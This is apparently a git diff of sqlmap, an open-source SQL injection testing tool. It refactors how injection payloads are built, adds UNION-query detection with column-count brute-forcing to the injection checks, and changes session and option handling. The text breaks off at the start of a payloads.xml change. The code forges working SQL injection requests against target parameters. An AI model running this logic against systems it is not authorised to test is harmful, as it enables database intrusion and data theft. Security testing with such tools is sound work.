diff --git a/lib/controller/checks.py b/lib/controller/checks.py
index 42b85587e..d0dc92b10 100644
--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -32,6 +32,7 @@ from lib.core.common import trimAlphaNum
 from lib.core.common import wasLastRequestDBMSError
 from lib.core.common import wasLastRequestHTTPError
 from lib.core.common import DynamicContentItem
+from lib.core.common import configUnion
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
@@ -55,8 +56,12 @@ from lib.core.settings import UPPER_RATIO_BOUND
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
 from lib.request.templates import getPageTemplate
+from lib.techniques.inband.union.test import unionTest
 
 def unescape(string, dbms):
+    if string is None:
+        return string
+
     if dbms in unescaper and "WAITFOR DELAY " not in string:
         return unescaper[dbms](string)
     else:
@@ -84,8 +89,9 @@ def checkSqlInjection(place, parameter, value):
     # Set the flag for sql injection test mode
     kb.testMode = True
 
-    for test in getInjectionTests():
-        try:            
+    #for test in getInjectionTests():
+    for test in conf.tests:
+        try:
             if kb.endDetection:
                 break
 
@@ -143,11 +149,12 @@ def checkSqlInjection(place, parameter, value):
 
                     continue
 
-                if getErrorParsedDBMSes() and dbms not in getErrorParsedDBMSes()\
-                  and kb.skipTests is None:
-                    message = "parsed error message(s) showed that the back-end DBMS could be '%s'." % getErrorParsedDBMSesFormatted()
-                    message += " do you want to skip test payloads specific for other DBMSes? [Y/n]"
-                    kb.skipTests = conf.realTest or readInput(message, default="Y") not in ("n", "N")
+                # NOTE: Leave this commented for the time being
+                #if getErrorParsedDBMSes() and dbms not in getErrorParsedDBMSes() and kb.skipTests is None:
+                #    msg = "parsed error message(s) showed that the "
+                #    msg += "back-end DBMS could be '%s'. " % getErrorParsedDBMSesFormatted()
+                #    msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
+                #    kb.skipTests = conf.realTest or readInput(msg, default="Y") not in ("n", "N")
 
                 if kb.skipTests:
                     debugMsg = "skipping test '%s' because " % title
@@ -189,7 +196,6 @@ def checkSqlInjection(place, parameter, value):
             comment = agent.getComment(test.request)
             fstPayload = agent.cleanupPayload(test.request.payload, value)
             fstPayload = unescapeDbms(fstPayload, injection, dbms)
-            fstPayload = "%s%s" % (fstPayload, comment)
 
             if stype != 4 and clause != [2, 3] and clause != [ 3 ]:
                 space = " "
@@ -280,11 +286,11 @@ def checkSqlInjection(place, parameter, value):
                     if where == 1:
                         origValue = value
                     elif where == 2:
+                        # Use different page template than the original
+                        # one as we are changing parameters value, which
+                        # will likely result in a different content
                         origValue = "-%s" % randomInt()
-                        # Use different page template than the original one
-                        # as we are changing parameters value, which will result
-                        # most definitely with a different content
-                        templatePayload = agent.payload(place, parameter, value, origValue)
+                        templatePayload = agent.payload(place, parameter, newValue=origValue, where=where)
                     elif where == 3:
                         origValue = ""
 
@@ -293,10 +299,11 @@ def checkSqlInjection(place, parameter, value):
                     # Forge request payload by prepending with boundary's
                     # prefix and appending the boundary's suffix to the
                     # test's ' <payload><comment> ' string
-                    boundPayload = "%s%s%s%s %s" % (origValue, prefix, space, fstPayload, suffix)
-                    boundPayload = boundPayload.strip()
+                    boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
+                    boundPayload = agent.suffixQuery(boundPayload, comment, suffix)
                     boundPayload = agent.cleanupPayload(boundPayload, value)
-                    reqPayload = agent.payload(place, parameter, value, boundPayload)
+                    reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
+                    unionVector = None
 
                     # Perform the test's request and check whether or not the
                     # payload was successful
@@ -308,16 +315,15 @@ def checkSqlInjection(place, parameter, value):
                         if method == PAYLOAD.METHOD.COMPARISON:
                             sndPayload = agent.cleanupPayload(test.response.comparison, value)
                             sndPayload = unescapeDbms(sndPayload, injection, dbms)
-                            sndPayload = "%s%s" % (sndPayload, comment)
 
                             # Forge response payload by prepending with
                             # boundary's prefix and appending the boundary's
                             # suffix to the test's ' <payload><comment> '
                             # string
-                            boundPayload = "%s%s%s%s %s" % (origValue, prefix, space, sndPayload, suffix)
-                            boundPayload = boundPayload.strip()
+                            boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
+                            boundPayload = agent.suffixQuery(boundPayload, comment, suffix)
                             boundPayload = agent.cleanupPayload(boundPayload, value)
-                            cmpPayload = agent.payload(place, parameter, value, boundPayload)
+                            cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
 
                             # Useful to set kb.matchRatio at first based on
                             # the False response content
@@ -337,7 +343,7 @@ def checkSqlInjection(place, parameter, value):
 
                                     injectable = True
 
-                        # In case of error-based or UNION query SQL injections
+                        # In case of error-based SQL injection
                         elif method == PAYLOAD.METHOD.GREP:
                             # Perform the test's request and grep the response
                             # body for the test's <grep> regular expression
@@ -369,6 +375,20 @@ def checkSqlInjection(place, parameter, value):
 
                                     injectable = True
 
+                        # In case of UNION query SQL injection
+                        elif method == PAYLOAD.METHOD.UNION:
+                            conf.uChar = test.request.char
+                            conf.uCols = test.request.columns
+                            configUnion()
+
+                            reqPayload, unionVector = unionTest(comment, place, parameter, value, prefix, suffix)
+
+                            if isinstance(reqPayload, basestring):
+                                infoMsg = "%s parameter '%s' is '%s' injectable" % (place, parameter, title)
+                                logger.info(infoMsg)
+
+                                injectable = True
+
                     # If the injection test was successful feed the injection
                     # object with the test's details
                     if injectable is True:
@@ -396,7 +416,7 @@ def checkSqlInjection(place, parameter, value):
                         injection.data[stype].title = title
                         injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload, False)
                         injection.data[stype].where = where
-                        injection.data[stype].vector = vector
+                        injection.data[stype].vector = agent.cleanupPayload(vector, unionVector=unionVector)
                         injection.data[stype].comment = comment
                         injection.data[stype].matchRatio = kb.matchRatio
                         injection.data[stype].templatePayload = templatePayload
@@ -439,9 +459,6 @@ def checkSqlInjection(place, parameter, value):
                 kb.endDetection = True
             elif test[0] in ("q", "Q"):
                 raise sqlmapUserQuitException
-        finally:
-            # Flush the flag
-            kb.testMode = False
 
     # Return the injection object
     if injection.place is not None and injection.parameter is not None:
@@ -466,8 +483,8 @@ def heuristicCheckSqlInjection(place, parameter, value):
         if conf.suffix:
             suffix = conf.suffix
 
-    payload = "%s%s%s%s" % (value, prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix)
-    payload = agent.payload(place, parameter, value, payload)
+    payload = "%s%s%s" % (prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix)
+    payload = agent.payload(place, parameter, newValue=payload)
     Request.queryPage(payload, place, content=True, raise404=False)
 
     result = wasLastRequestDBMSError()
@@ -808,13 +825,14 @@ def checkConnection(suppressOutput=False):
         kb.originalPage = kb.pageTemplate = page
 
         kb.errorIsNone = False
+
         if wasLastRequestDBMSError():
-            warnMsg = "there is an (DBMS) error found in the content of provided target url"
-            warnMsg += " which could interfere with the results of the tests"
+            warnMsg = "there is a DBMS error found in the HTTP response body"
+            warnMsg += "which could interfere with the results of the tests"
             logger.warn(warnMsg)
         elif wasLastRequestHTTPError():
-            warnMsg = "there is an (HTTP) error found in the content of provided target url"
-            warnMsg += " which could interfere with the results of the tests"
+            warnMsg = "the web server responded with an HTTP error code "
+            warnMsg += "which could interfere with the results of the tests"
             logger.warn(warnMsg)
         else:
             kb.errorIsNone = True
diff --git a/lib/controller/controller.py b/lib/controller/controller.py
index 14055f196..1be14def4 100644
--- a/lib/controller/controller.py
+++ b/lib/controller/controller.py
@@ -110,8 +110,8 @@ def __formatInjection(inj):
     return data
 
 def __showInjections():
-    header = "sqlmap identified the following injection points "
-    header += "with %d HTTP(s) requests" % kb.testQueryCount
+    header = "sqlmap identified the following injection points with "
+    header += "a total of %d HTTP(s) requests" % kb.testQueryCount
     data = ""
 
     for inj in kb.injections:
@@ -349,12 +349,11 @@ def start():
                               not simpletonCheckSqlInjection(place, parameter, value):
                                 continue
 
-                            logMsg  = "testing sql injection on %s " % place
+                            logMsg = "testing sql injection on %s " % place
                             logMsg += "parameter '%s'" % parameter
                             logger.info(logMsg)
 
                             injection = checkSqlInjection(place, parameter, value)
-
                             proceed = not kb.endDetection
 
                             if injection is not None and injection.place is not None:
@@ -373,7 +372,7 @@ def start():
                                     paramKey = (conf.hostname, conf.path, None, None)
                                     kb.testedParams.add(paramKey)
                             else:
-                                warnMsg  = "%s parameter '%s' is not " % (place, parameter)
+                                warnMsg = "%s parameter '%s' is not " % (place, parameter)
                                 warnMsg += "injectable"
                                 logger.warn(warnMsg)
 
@@ -386,6 +385,9 @@ def start():
                     errMsg = "it seems that all parameters are not injectable"
                     raise sqlmapNotVulnerableException, errMsg                
             else:
+                # Flush the flag
+                kb.testMode = False
+
                 __saveToSessionFile()
                 __showInjections()
                 __selectInjection()
diff --git a/lib/core/agent.py b/lib/core/agent.py
index 173559f79..7ab35af5b 100644
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -53,7 +53,7 @@ class Agent:
 
         return query
 
-    def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False):
+    def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
         """
         This method replaces the affected parameter with the SQL
         injection statement to request
@@ -62,59 +62,38 @@ class Agent:
         if conf.direct:
             return self.payloadDirect(newValue)
 
-        falseValue = ""
-        negValue   = ""
-        retValue   = ""
+        retValue = ""
 
-        if negative or kb.unionNegative:
-            negValue = "-"
+        if where is None and isTechniqueAvailable(kb.technique):
+            where = kb.injection.data[kb.technique].where
 
-        # After identifing the injectable parameter
-        if kb.injection.place == PLACE.UA and kb.injection.parameter:
-            retValue = kb.injection.parameter.replace(kb.injection.parameter,
-                                                      self.addPayloadDelimiters("%s%s" % (negValue, kb.injection.parameter + falseValue + newValue)))
-        elif kb.injection.place and kb.injection.parameter:
-            paramString = conf.parameters[kb.injection.place]
-            paramDict = conf.paramDict[kb.injection.place]
-            origValue = paramDict[kb.injection.parameter]
+        if kb.injection.place is not None:
+            place = kb.injection.place
 
-            if isTechniqueAvailable(kb.technique):
-                where = kb.injection.data[kb.technique].where
+        if kb.injection.parameter is not None:
+            parameter = kb.injection.parameter
 
+        if place == PLACE.UA:
+            retValue = parameter.replace(parameter, self.addPayloadDelimiters(parameter + newValue))
+        else:
+            paramString = conf.parameters[place]
+            paramDict = conf.paramDict[place]
+            origValue = paramDict[parameter]
+
+            if value is None:
                 if where == 1:
                     value = origValue
                 elif where == 2:
                     value = "-%s" % randomInt()
                 elif where == 3:
                     value = ""
-            else:
-                value = origValue
+                else:
+                    value = origValue
+
+                newValue = "%s%s" % (value, newValue)
 
             newValue = self.cleanupPayload(newValue, origValue)
 
-            if "POSTxml" in conf.paramDict and kb.injection.place == PLACE.POST:
-                root = ET.XML(paramString)
-                iterator = root.getiterator(kb.injection.parameter)
-
-                for child in iterator:
-                    child.text = self.addPayloadDelimiters(negValue + value + falseValue + newValue)
-
-                retValue = ET.tostring(root)
-            elif kb.injection.place == PLACE.URI:
-                retValue = paramString.replace("*",
-                                               self.addPayloadDelimiters("%s%s" % (negValue, falseValue + newValue)))
-            else:
-                retValue = paramString.replace("%s=%s" % (kb.injection.parameter, origValue),
-                                               "%s=%s" % (kb.injection.parameter, self.addPayloadDelimiters(negValue + value + falseValue + newValue)))
-
-        # Before identifing the injectable parameter
-        elif parameter == PLACE.UA:
-            retValue = value.replace(value, self.addPayloadDelimiters(newValue))
-        elif place == PLACE.URI:
-            retValue = value.replace("*", self.addPayloadDelimiters("%s" % newValue.replace(value, str())))
-        else:
-            paramString = conf.parameters[place]
-
             if "POSTxml" in conf.paramDict and place == PLACE.POST:
                 root = ET.XML(paramString)
                 iterator = root.getiterator(parameter)
@@ -123,10 +102,13 @@ class Agent:
                     child.text = self.addPayloadDelimiters(newValue)
 
                 retValue = ET.tostring(root)
+            elif place == PLACE.URI:
+                retValue = paramString.replace("*", self.addPayloadDelimiters(newValue))
             else:
-                retValue = paramString.replace("%s=%s" % (parameter, value),
+                retValue = paramString.replace("%s=%s" % (parameter, origValue),
                                                "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)))
 
+#        print "retValue:", retValue
         return retValue
 
     def fullPayload(self, query):
@@ -139,7 +121,7 @@ class Agent:
 
         return payload
 
-    def prefixQuery(self, string):
+    def prefixQuery(self, string, prefix=None, where=None, clause=None):
         """
         This method defines how the input string has to be escaped
         to perform the injection depending on the injection type
@@ -156,9 +138,10 @@ class Agent:
         # payload, do not put a space after the prefix
         if kb.technique == PAYLOAD.TECHNIQUE.STACKED:
             query = kb.injection.prefix
-        elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 3 ]:
-            if kb.technique != PAYLOAD.TECHNIQUE.UNION:
-                query = kb.injection.prefix
+        elif where == 3 or clause == [2, 3] or clause == [ 2 ] or clause == [ 3 ]:
+            query = prefix
+        elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 2 ] or kb.injection.clause == [ 3 ]:
+            query = kb.injection.prefix
         elif kb.technique and kb.technique in kb.injection.data:
             where = kb.injection.data[kb.technique].where
 
@@ -166,14 +149,17 @@ class Agent:
                 query = kb.injection.prefix
 
         if query is None:
-            query = "%s " % kb.injection.prefix
+            if kb.injection.prefix is None and prefix is not None:
+                query = "%s " % prefix
+            else:
+                query = "%s " % kb.injection.prefix
 
         query = "%s%s" % (query, string)
         query = self.cleanupPayload(query)
 
         return query
 
-    def suffixQuery(self, string, comment=None):
+    def suffixQuery(self, string, comment=None, suffix=None):
         """
         This method appends the DBMS comment to the
         SQL injection request
@@ -185,12 +171,16 @@ class Agent:
         if comment is not None:
             string += comment
 
-        string += " %s" % kb.injection.suffix
+        if kb.injection.suffix is None and suffix is not None:
+            string += " %s" % suffix
+        else:
+            string += " %s" % kb.injection.suffix
+
         string = self.cleanupPayload(string)
 
         return string.rstrip()
 
-    def cleanupPayload(self, payload, origvalue=None):
+    def cleanupPayload(self, payload, origvalue=None, unionVector=None):
         if payload is None:
             return
 
@@ -207,11 +197,9 @@ class Agent:
         payload = payload.replace("[DELIMITER_STOP]", kb.misc.stop)
         payload = payload.replace("[SPACE_REPLACE]", kb.misc.space)
         payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))
+        payload = payload.replace("[UNION]", str(unionVector))
 
         if origvalue is not None:
-            if not origvalue.isdigit():
-                origvalue = "'%s'" % origvalue
-
             payload = payload.replace("[ORIGVALUE]", origvalue)
 
         if "[INFERENCE]" in payload:
@@ -228,14 +216,15 @@ class Agent:
 
                 payload = payload.replace("[INFERENCE]", inferenceQuery)
 
-            elif kb.misc.testedDbms is not None:
+            elif hasattr(kb.misc, "testedDbms") and kb.misc.testedDbms is not None:
                 inferenceQuery = queries[kb.misc.testedDbms].inference.query
                 payload = payload.replace("[INFERENCE]", inferenceQuery)
 
-            else:
-                errMsg = "invalid usage of inference payload without "
-                errMsg += "knowledge of underlying DBMS"
-                raise sqlmapNoneDataException, errMsg
+            # NOTE: Leave this commented for the time being
+            #else:
+            #    errMsg = "invalid usage of inference payload without "
+            #    errMsg += "knowledge of underlying DBMS"
+            #    raise sqlmapNoneDataException, errMsg
 
         return payload
 
@@ -483,7 +472,7 @@ class Agent:
 
         return concatenatedQuery
 
-    def forgeInbandQuery(self, query, exprPosition=None, nullChar=None, count=None, comment=None, multipleUnions=None):
+    def forgeInbandQuery(self, query, exprPosition=None, nullChar=None, count=None, comment=None, prefix=None, suffix=None, multipleUnions=None):
         """
         Take in input an query (pseudo query) string and return its
         processed UNION ALL SELECT query.
@@ -526,7 +515,7 @@ class Agent:
         if query.startswith("SELECT "):
             query        = query[len("SELECT "):]
 
-        inbandQuery = self.prefixQuery("UNION ALL SELECT ")
+        inbandQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)
 
         if query.startswith("TOP"):
             topNum       = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
@@ -584,8 +573,7 @@ class Agent:
             if kb.dbms == DBMS.ORACLE:
                 inbandQuery += " FROM DUAL"
 
-
-        inbandQuery = self.suffixQuery(inbandQuery, comment)
+        inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
 
         return inbandQuery
 
diff --git a/lib/core/common.py b/lib/core/common.py
index 5e7d645cd..dfeade11f 100644
--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -1935,6 +1935,7 @@ def initTechnique(technique=None):
     """
     Prepares proper page template and match ratio for technique specified
     """
+
     try:
         data = getTechniqueData(technique)
 
@@ -1945,7 +1946,8 @@ def initTechnique(technique=None):
             warnMsg = "there is no injection data available for technique "
             warnMsg += "'%s'" % enumValueToNameLookup(PAYLOAD.TECHNIQUE, technique)
             logger.warn(warnMsg)
-    except sqlmapDataException, ex:
+
+    except sqlmapDataException, _:
         errMsg = "missing data in old session file(s). "
         errMsg += "please use '--flush-session' to deal "
         errMsg += "with this error"
@@ -2063,3 +2065,35 @@ def openFile(filename, mode='r'):
           ('w' in mode or 'a' in mode or '+' in mode) else "read")
         errMsg += "and that it's not locked by another process."
         raise sqlmapFilePathException, errMsg
+
+def configUnion():
+    if isinstance(conf.uCols, basestring):
+        debugMsg = "setting the UNION query SQL injection range of columns"
+        logger.debug(debugMsg)
+
+        if "-" not in conf.uCols or len(conf.uCols.split("-")) != 2:
+            raise sqlmapSyntaxException, "--union-cols must be a range with hyphon (e.g. 1-10)"
+
+        conf.uCols = conf.uCols.replace(" ", "")
+        conf.uColsStart, conf.uColsStop = conf.uCols.split("-")
+
+        if not conf.uColsStart.isdigit() or not conf.uColsStop.isdigit():
+            raise sqlmapSyntaxException, "--union-cols must be a range of integers"
+
+        conf.uColsStart = int(conf.uColsStart)
+        conf.uColsStop = int(conf.uColsStop)
+
+        if conf.uColsStart > conf.uColsStop:
+            errMsg = "--union-cols range has to be from lower to "
+            errMsg += "higher number of columns"
+            raise sqlmapSyntaxException, errMsg
+
+    if isinstance(conf.uChar, basestring) and conf.uChar != "NULL":
+        debugMsg = "setting the UNION query SQL injection character to '%s'" % conf.uChar
+        logger.debug(debugMsg)
+
+        if not conf.uChar.isdigit() and ( not conf.uChar.startswith("'") or not conf.uChar.endswith("'") ):
+            debugMsg = "forcing the UNION query SQL injection character to '%s'" % conf.uChar
+            logger.debug(debugMsg)
+
+            conf.uChar = "'%s'" % conf.uChar
diff --git a/lib/core/session.py b/lib/core/session.py
index df353c314..33f114abc 100644
--- a/lib/core/session.py
+++ b/lib/core/session.py
@@ -204,70 +204,18 @@ def setUnion(comment=None, count=None, position=None, negative=False, char=None,
     """
 
     if comment:
-        condition = (
-                      not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
-                      not kb.resumedQueries[conf.url].has_key("Union comment") )
-                    )
-
-        if condition:
-            dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(comment)))
-
         kb.unionComment = comment
 
     if count:
-        condition = (
-                      not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
-                      not kb.resumedQueries[conf.url].has_key("Union count") )
-                    )
-
-        if condition:
-            dataToSessionFile("[%s][%s][%s][Union count][%d]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), count))
-
         kb.unionCount = count
 
     if position is not None:
-        condition = (
-                      not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
-                      not kb.resumedQueries[conf.url].has_key("Union position") )
-                    )
-
-        if condition:
-            dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), position))
-
         kb.unionPosition = position
 
     if negative:
-        condition = (
-                      not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
-                      ( not kb.resumedQueries[conf.url].has_key("Union negative")
-                      ) )
-                    )
-
-        if condition:
-            dataToSessionFile("[%s][%s][%s][Union negative][Yes]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place])))
-
         kb.unionNegative = True
 
-    if char:
-        condition = (
-                      not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
-                      ( not kb.resumedQueries[conf.url].has_key("Union char")
-                      ) )
-                    )
-
-        if condition:
-            dataToSessionFile("[%s][%s][%s][Union char][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), char))
-
     if payload:
-        condition = (
-                      not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
-                      ( not kb.resumedQueries[conf.url].has_key("Union payload")
-                      ) )
-                    )
-
-        if condition:
-            dataToSessionFile("[%s][%s][%s][Union payload][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), payload))
-
         kb.unionTest = payload
 
 def setRemoteTempPath():
diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py
index 86dcf61f5..fa5c5510d 100644
--- a/lib/parse/cmdline.py
+++ b/lib/parse/cmdline.py
@@ -235,7 +235,7 @@ def cmdLineParser():
                               action="store_true", default=False,
                               help="Test for and use UNION query (inband) SQL injection")
 
-        techniques.add_option("--union-cols", dest="uCols", default="1-20",
+        techniques.add_option("--union-cols", dest="uCols",
                               help="Range of columns to test for UNION query SQL injection")
 
         techniques.add_option("--union-char", dest="uChar", default="NULL",
diff --git a/lib/request/inject.py b/lib/request/inject.py
index 58cd272c8..5b84467f7 100644
--- a/lib/request/inject.py
+++ b/lib/request/inject.py
@@ -397,7 +397,7 @@ def getValue(expression, blind=True, inband=True, error=True, time=True, fromUse
         if conf.direct:
             value = direct(expression)
 
-        elif kb.unionTest or any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
+        elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
             query = cleanQuery(expression)
             query = expandAsteriskForColumns(query)
             value = None
@@ -414,7 +414,7 @@ def getValue(expression, blind=True, inband=True, error=True, time=True, fromUse
                 else:
                     forgeCaseExpression = agent.forgeCaseStatement(expression)
 
-            if inband and kb.unionTest is not None:
+            if inband and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                 kb.technique = PAYLOAD.TECHNIQUE.UNION
 
                 if expected == EXPECTED.BOOL:
diff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py
index 77d292d0c..3c1cd496f 100644
--- a/lib/techniques/inband/union/test.py
+++ b/lib/techniques/inband/union/test.py
@@ -26,8 +26,9 @@ from lib.core.unescaper import unescaper
 from lib.parse.html import htmlParser
 from lib.request.connect import Connect as Request
 
-def __unionPosition(negative=False, count=None, comment=None):
+def __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=1):
     validPayload = None
+    unionVector = None
 
     if count is None:
         count = kb.unionCount
@@ -42,38 +43,40 @@ def __unionPosition(negative=False, count=None, comment=None):
         randQueryUnescaped = unescaper.unescape(randQueryProcessed)
 
         # Forge the inband SQL injection request
-        query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment)
-        payload = agent.payload(newValue=query, negative=negative)
+        query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix)
+        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
 
         # Perform the request
-        resultPage, _ = Request.queryPage(payload, content=True)
+        resultPage, _ = Request.queryPage(payload, place=place, content=True)
 
         if resultPage and randQuery in resultPage:
             setUnion(position=exprPosition)
             validPayload = payload
+            unionVector = agent.forgeInbandQuery("[PAYLOAD]", exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix)
 
-            if not negative:
+            if where == 1:
                 # Prepare expression with delimiters
                 randQuery2 = randomStr()
                 randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
                 randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)
 
                 # Confirm that it is a full inband SQL injection
-                query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment, multipleUnions=randQueryUnescaped2)
-                payload = agent.payload(newValue=query, negative=negative)
+                query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix, multipleUnions=randQueryUnescaped2)
+                payload = agent.payload(place=place, parameter=parameter, newValue=query, where=2)
 
                 # Perform the request
-                resultPage, _ = Request.queryPage(payload, content=True)
+                resultPage, _ = Request.queryPage(payload, place=place, content=True)
 
                 if resultPage and (randQuery not in resultPage or randQuery2 not in resultPage):
                     setUnion(negative=True)
 
             break
 
-    return validPayload
+    return validPayload, unionVector
 
-def __unionConfirm(count=None, comment=None):
+def __unionConfirm(comment, place, parameter, value, prefix, suffix, count):
     validPayload = None
+    unionVector = None
 
     # Confirm the inband SQL injection and get the exact column
     # position which can be used to extract data
@@ -81,62 +84,64 @@ def __unionConfirm(count=None, comment=None):
         debugMsg = "testing full inband with %s columns" % count
         logger.debug(debugMsg)
 
-        validPayload = __unionPosition(count=count, comment=comment)
+        validPayload, unionVector = __unionPosition(comment, place, parameter, value, prefix, suffix, count)
 
         # Assure that the above function found the exploitable full inband
         # SQL injection position
         if not isinstance(kb.unionPosition, int):
-            debugMsg = "testing single-entry inband value with %s columns" % count
+            debugMsg = "testing single-entry inband with %s columns" % count
             logger.debug(debugMsg)
 
-            validPayload = __unionPosition(negative=True, count=count, comment=comment)
+            validPayload, unionVector = __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=2)
 
             # Assure that the above function found the exploitable partial
             # (single entry) inband SQL injection position with negative
             # parameter validPayload
             if not isinstance(kb.unionPosition, int):
-                return None
+                return None, None
             else:
                 setUnion(negative=True)
 
-    return validPayload
+    return validPayload, unionVector
 
-def __unionTestByCharBruteforce(comment):
+def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
     """
     This method tests if the target url is affected by an inband
     SQL injection vulnerability. The test is done up to 50 columns
     on the target database table
     """
 
+    validPayload = None
+    unionVector = None
     query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar)
 
-    for num in range(conf.uColsStart, conf.uColsStop+1):
+    for count in range(conf.uColsStart, conf.uColsStop+1):
         if kb.dbms == DBMS.ORACLE and query.endswith(" FROM DUAL"):
             query = query[:-len(" FROM DUAL")]
 
-        if num:
+        if count:
             query += ", %s" % conf.uChar
 
         if kb.dbms == DBMS.ORACLE:
             query += " FROM DUAL"
 
         if conf.verbose in (1, 2):
-            length = conf.uColsStop + 1 - conf.uColsStart
-            count = num - conf.uColsStart + 1
-            status = '%d/%d (%d%s)' % (count, length, round(100.0*count/length), '%')
+            status = '%d/%d (%d%s)' % (count, conf.uColsStop, round(100.0*count/conf.uColsStop), '%')
             dataToStdout("\r[%s] [INFO] number of columns: %s" % (time.strftime("%X"), status), True)
 
-        validPayload = __unionConfirm(num, comment)
+        dataToStdout("\n")
+
+        validPayload, unionVector = __unionConfirm(comment, place, parameter, value, prefix, suffix, count)
 
         if validPayload:
-            setUnion(count=num)
+            setUnion(count=count)
             break
 
     clearConsoleLine(True)
 
-    return validPayload
+    return validPayload, unionVector
 
-def unionTest():
+def unionTest(comment, place, parameter, value, prefix, suffix):
     """
     This method tests if the target url is affected by an inband
     SQL injection vulnerability. The test is done up to 3*50 times
@@ -145,9 +150,6 @@ def unionTest():
     if conf.direct:
         return
 
-    if kb.unionTest is not None:
-        return kb.unionTest
-
     oldTechnique = kb.technique
     kb.technique = PAYLOAD.TECHNIQUE.UNION
 
@@ -156,12 +158,7 @@ def unionTest():
     else:
         technique = "char (%s) bruteforcing" % conf.uChar
 
-    infoMsg  = "testing inband sql injection on parameter "
-    infoMsg += "'%s' with %s technique" % (kb.injection.parameter, technique)
-    logger.info(infoMsg)
-
-    comment = queries[kb.dbms].comment.query
-    validPayload = __unionTestByCharBruteforce(comment)
+    validPayload, unionVector = __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
 
     if validPayload:
         validPayload = agent.removePayloadDelimiters(validPayload, False)
@@ -169,16 +166,4 @@ def unionTest():
         setUnion(comment=comment)
         setUnion(payload=validPayload)
 
-    if kb.unionTest is not None:
-        infoMsg = "the target url is affected by an exploitable "
-        infoMsg += "inband sql injection vulnerability "
-        infoMsg += "on parameter '%s' with %d columns" % (kb.injection.parameter, kb.unionCount)
-        logger.info(infoMsg)
-    else:
-        infoMsg = "the target url is not affected by an exploitable "
-        infoMsg += "inband sql injection vulnerability "
-        infoMsg += "on parameter '%s'" % kb.injection.parameter
-        logger.info(infoMsg)
-        kb.technique = oldTechnique
-
-    return kb.unionTest
+    return validPayload, unionVector
diff --git a/lib/techniques/inband/union/use.py b/lib/techniques/inband/union/use.py
index 9687b3d82..879f23262 100644
--- a/lib/techniques/inband/union/use.py
+++ b/lib/techniques/inband/union/use.py
@@ -15,12 +15,14 @@ from lib.core.common import calculateDeltaSeconds
 from lib.core.common import clearConsoleLine
 from lib.core.common import dataToStdout
 from lib.core.common import getUnicode
+from lib.core.common import initTechnique
 from lib.core.common import parseUnionPage
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import queries
 from lib.core.enums import DBMS
+from lib.core.enums import PAYLOAD
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
 from lib.techniques.inband.union.test import unionTest
@@ -35,6 +37,8 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
     inband SQL injection on the affected url
     """
 
+    initTechnique(PAYLOAD.TECHNIQUE.UNION)
+
     count      = None
     origExpr   = expression
     start      = time.time()
diff --git a/xml/payloads.xml b/xml/payloads.xml
index 605882a7f..fe8d10108 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -553,6 +553,22 @@ Formats:
         <risk>1</risk>
         <clause>1,2,3</clause>
         <where>3</where>
